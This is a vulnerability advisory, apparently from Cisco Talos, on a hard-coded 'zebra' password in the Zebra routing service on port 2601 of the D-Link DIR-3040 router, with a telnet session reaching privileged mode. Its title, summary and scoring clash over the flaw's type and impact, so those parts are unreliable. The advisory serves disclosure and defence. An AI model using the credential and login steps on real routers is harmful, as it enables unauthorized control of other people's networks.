

Talos Vulnerability Report

TALOS-2021-1283

D-LINK DIR-3040 Syslog information disclosure vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21818

Summary

A hard-coded password vulnerability exists in the Zebra IP Routing Manager functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to a denial of service. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

D-LINK DIR-3040 1.13B03

Product URLs

<https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router>

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-259 - Use of Hard-coded Password

Details

The DIR-3040 is an AC3000-based wireless internet router.

Zebra is an IP routing manager that provides kernel routing table updates, interface lookups, and redistribution of routes between different routing protocols.

The DIR-3040 runs this service by default on TCP port 2601 and can be accessed by anyone on the network. This service also uses a configuration file containing a hard-coded password zebra:

```
admin@dlinkrouter:~# cat /tmp/zebra.conf
hostname Router
password zebra
enable password zebra
```

```
$ telnet 192.168.100.1 2601
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^J'.

Hello, this is Quagga (version 1.1.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

User Access Verification

Password:
Router>
echo      Echo a message back to the vty
enable    Turn on privileged mode command
exit      Exit current mode and down to previous mode
help      Description of the interactive help system
list      Print command list
quit      Exit current mode and down to previous mode
show      Show running system information
terminal  Set terminal line parameters
who       Display who is on vty
Router> enable
Password:
Router#
clear      Clear stored data
configure  Configuration from vty interface
copy      Copy configuration
debug     Debugging functions (see also 'undebg')
disable   Turn off privileged mode command
echo      Echo a message back to the vty
enable    Turn on privileged mode command
end       End current mode and change to enable mode.
exit      Exit current mode and down to previous mode
help      Description of the interactive help system
list      Print command list
logmsg    Send a message to enabled logging destinations
no        Negate a command or set its defaults
quit      Exit current mode and down to previous mode
show      Show running system information
terminal  Set terminal line parameters
who       Display who is on vty
write     Write running configuration to memory, network, or terminal
```

Timeline

2021-04-28 - Vendor disclosure
2021-05-12 - Vendor acknowledged
2021-06-08 - Vendor provided patch for Talos to test
2021-06-09 - Talos provided feedback on patch
2021-06-23 - Talos follow up with vendor
2021-07-13 - Vendor patched
2021-07-15 - Public Release

CREDIT

Discovered by Dave McDaniel of Cisco Talos.

